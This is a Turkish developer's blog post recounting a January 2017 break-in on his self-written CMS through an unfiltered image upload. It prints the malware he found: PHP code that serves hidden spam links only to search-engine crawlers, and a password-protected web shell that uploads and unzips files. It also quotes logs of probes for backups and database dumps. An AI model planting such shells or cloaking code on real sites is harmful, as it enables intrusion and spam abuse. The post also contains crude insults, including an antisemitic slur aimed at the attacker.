Blog Single

Selamlar, hiç Sunucu Güvenliği, Web Yazılım Güvenliği gibi konuları sizlerle paylaşmamıştım.
30 Ocak 2017 tarihi itibariyle gece 03:00'da sitemde bir kısma sızılıp, kendi emeğim ile yazdığım bu içerik yönetim sisteminin çalınmaya çalışıldığını sabah 11 de tesadüf eseri farkettim.

Bir gün öncesinde ise Google Webmasters üzerinde saldırıya uğramış bağlantı olarak bir uyarı mesajı almıştım fakat olayı geç farkettim.

Neyse, ne oldu ?

  • Get, post, input, upload gibi yöntemler ile websitesi kodları eğer açık varsa bir şekilde ftp'ye sızıp script ile tüm sistem indirilebiliniyor.
  • Yani bu ftp bilgilerinizin çalındığı anlamına gelmiyor, shell script denilen kodlar ile sisteme sızılıp, dosya indirme işlemi yapılıyor.

Sabah uyandığımda ilk işlerimden biri de genelde Google Webmasters'a girip arama sonuçları değerlerimi inceliyorum. İncelemişken, site haritaları sekmesine de göz atayım istedim, denk geldi yani. İçerisinde bir uyarı mesajı veriyordu ve link'e tıklayıp bakmak istediğimde zavallının biri, eskort sitelerine feed.xml sayfam aracılığıyla backlink vermiş, bu nedenden dolayı da feed.xml dosyamın yapısı bozulduğu için Google Webmasters üzerinde hataya düşmüş.

Dedim bu nasıl olur ? uzun zamandır hata yoktu bu kodlarda (Hata olmaması güvenli olduğu manasına gelmez.), ya sunucudan kaynaklanır, ya da siteme gerçekten sızılmış. Şundan iddaalı olmuyorum zaten, kodlarım çok güvenlidir kendine güvenen gelsin diyemem, biz de insanız hatamız, eksiğimiz mutlaka var. Zaten güvenlik tedbirleri almadığım için bu durumlar yaşandı.

Direk FTP'ye girip feed.xml dosyamın php içeriğini inceledim fakat sonuç yok. Sitemde fonksiyonları barındıran bir metodum var en son kısma, en alt kısıma şunlar eklenmiş;

function babalink(){
$agent = $_SERVER['HTTP_USER_AGENT'];
$sec = $agent;
switch(true){
 case (strpos($sec,"google")): $part = 1; break;
 case (strpos($sec,"yandex")): $part = 1; break;
 case (strpos($sec,"bing")): $part = 1; break;
 case (strpos($sec,"yahoo")): $part = 1; break;
 case (strpos($sec,"alexa")): $part = 1; break;
 default : $part = 0;
}
if($part ==1){
     echo '<font style="overflow: auto; position: absolute; height: 0pt; width: 0pt"><a href="http://www.***/" target="_blank" title="***">kocaeli *</a> <a href="http://bursa***/" target="_blank" title="bursa ***">***</a> <a href="http://www.mersin***/" target="_blank" title="**">mersin **</a></font> ';
 }
}
babalink();

Yahu babanızı ***'sinler böyle kod mu olur. Amatör işi zaten. Neyse bu varan 1'di. Sonra sildim ve feed.xml'in düzeldiğini gördüm. Bu arada metodu da yanlış yazmış keke. Babalink olamamış yani. Direct istekde de $part kısmı gözüküyordu. Amaçları benim görmemem, kaliteli arama motorlarının görmesiymiş :)

Sonrasında dedim bu lavuk benim fonksiyon class'ıma erişebiliyorsa, ekleme yapabiliyorsa ya FTP bilgilerimi ele geçirdi, ya da açık bulup sızdı. Açık bulup sızdığına kanaat getirdim çünkü FTP bilgilerimi ben dahi bilmiyorum. Kopyala yapıştır şeklinde giriyorum.

Tekrar sonrasında ise, Websitemde bir sayfaya ulaşamayan kullanıcıları bana rapor etmesi amaçlı bir kod parçacığı yazmıştım yırttıysak burdan yırttık yani. O kod da mysql'e hatalı varsa sayfa bildiriyor.

Kekenin ulaşmaya çalıştığı sayfa şöyleydi;

  • [30/Jan/2017:03:00:12 +0300] "GET /dirLIST_files/download.php HTTP/1.1" 404 5761 "http://serifgungor.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"

  • [30/Jan/2017:03:00:22 +0300] "GET /dirLIST_files/download.php HTTP/1.1" 404 5761 "http://www.serifgungor.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.84 Safari/537.36"

dedesini öpsünler.

Sonra classlarım, class.ismi.php şeklindedir. Ayıkmayalım diye class.settings.php açıp içine şunlar eklenmiş;

<?php 
session_start();
@set_time_limit(0);
$pass = md5(md5(md5($_POST['pass'])));
$password="7f357797757749e85cfbd4eb0003daf0";

if($pass==$password){
$_SESSION['ses'] = $pass;
}
if(!isset($_SESSION['ses']))
{
die("<form method=post><input type=password name=pass></form>");
}
?>


<?php 
echo '<b>Sw Bilgi<br><br>'.php_uname().'<br> Yükleyeceğiniz Dosya .zip Olamlıdır.</b> // SpyHatz'; 
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; 
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; 
if( $_POST['_upl'] == "Upload" ) { 
$file = $_FILES['file']['name']; 
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { 
$zip = new ZipArchive; 
if ($zip->open($file) === TRUE) { 
    $zip->extractTo('./'); 
    $zip->close(); 
echo 'Yükleme Başarılı'; 
} else { 
echo 'Yüklendi Ancak Çıkarma Başarısız.'; 
}     
}else{  
echo '<b>Basarisiz</b><br><br>';  

?>

Annesi yahudi, indirdiyse bu kodlar ile indirmiştir.

Aynı şekilde keşif yada indirme amaçlı 2016-12-16 onlarca denemeyi şimdi fark ediyorum bile :)

  • (8494, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/dump.sql sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8495, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/1.zip sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8496, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/archive.zip sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8497, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/base.zip sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8498, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/mysql.zip sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8499, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/backup.sql sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8500, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/serifgungor.zip sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8501, 1, '2017-01-13 02:57:20', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/base.tar sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:20 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8502, 1, '2017-01-13 02:57:23', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/sql.tar sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:23 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8503, 1, '2017-01-13 02:57:23', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/archive.tar.gz sayfası için 404 hatası verildi. İstemci bilgisi: DATE = 13.01.2017 01:57:23 HTTP_USER_AGENT = Mozilla/3.0 (Windows; U; Windows NT 6.1; en; rv:2.7.1.1) Gecko/201010175 Firefox/46.4.1 HTTP_REFERER =   IP_NUMBER = 93.89.232.254 '),
  • (8504, 1, '2017-01-13 02:57:23', '404 Not Found', 'Sistemde bulunmayan www.serifgungor.com/sql.sql

Sonrasında sizlere bu satırı yazarken bir yandan FTP, MySQL ve Email bilgilerimi değiştirdim ilk iş olarak, çünkü eğer başarılı olduysa siteyi bir dosyaya sıkıştırıp bilgileri indirdi ve bilgilerim içerisinde eposta adresim, şifresi,FTP ve MySQL bilgilerim + cv içerikli pdf dosyam da, makalelerim ve upload edilen dosyaları ile birlikte sitem içerisinde yer alıyordu. Ben bu açığı/açıkları bulamazsam tekrar tüm bilgileri aynı yöntemle indirecekti.

Şahsen dosyalarımı çalsa bile amatör bir giriş olduğu kanısına vardım. Çünkü db'i tek seferde uçurabilecek metodlarım, tek kod ile tüm db'i indirebilen kodlarım site içerisinde kullanıma hazır olarak bulunuyordu.


Aynı zamanda da şifrem oldukça basitti. (Oldukça basit), Ayrıca yönetim sistemimi tam zamanlı geliştiremiyordum, biliyorsunuz wp kullanmıyorum, cms bana ait. Makale ekleme kısmındaki resim ekleme kısmı php,zip vsvs ekleniyor onu es geçmişiz filtrelemeyi :) Oradan yürümüşler.


Neyse bunları da geçtim kendini geliştirmesi açısından yararlı olmuştur, ona yanmıyorum. Zaten en iyi sistemi yazabilen biriysen gidip başkasının kullandığı kodları elde tutmayı sevmezsin. Eğer işi bilmiyorsan, yapamıyorsan böyle bir uğraşıya muhtaç olursun.
Birşey yapmaya çalışıyorsanız adam gibi yapmaya çalışın, pislik işler yapıp gelip karşıma o metodu eklediğiniz siteleri işleten itler olarak karşıma çıkmaları yakışmıyor.

Saygılarımla, argo yazılarımdan dolayı affola...

Bu makaleyi paylaşın:
İstanbul'da yaşıyorum.Web üzerinde Frontend/Backend Geliştirmenin yanı sıra, Android Geliştirme, PHP/ASP.NET, C# Yazılım Uzmanlığı ve Java konuları işliyorum. Kod Şiirdir, onları seviyorum.

Bir yorum bırakın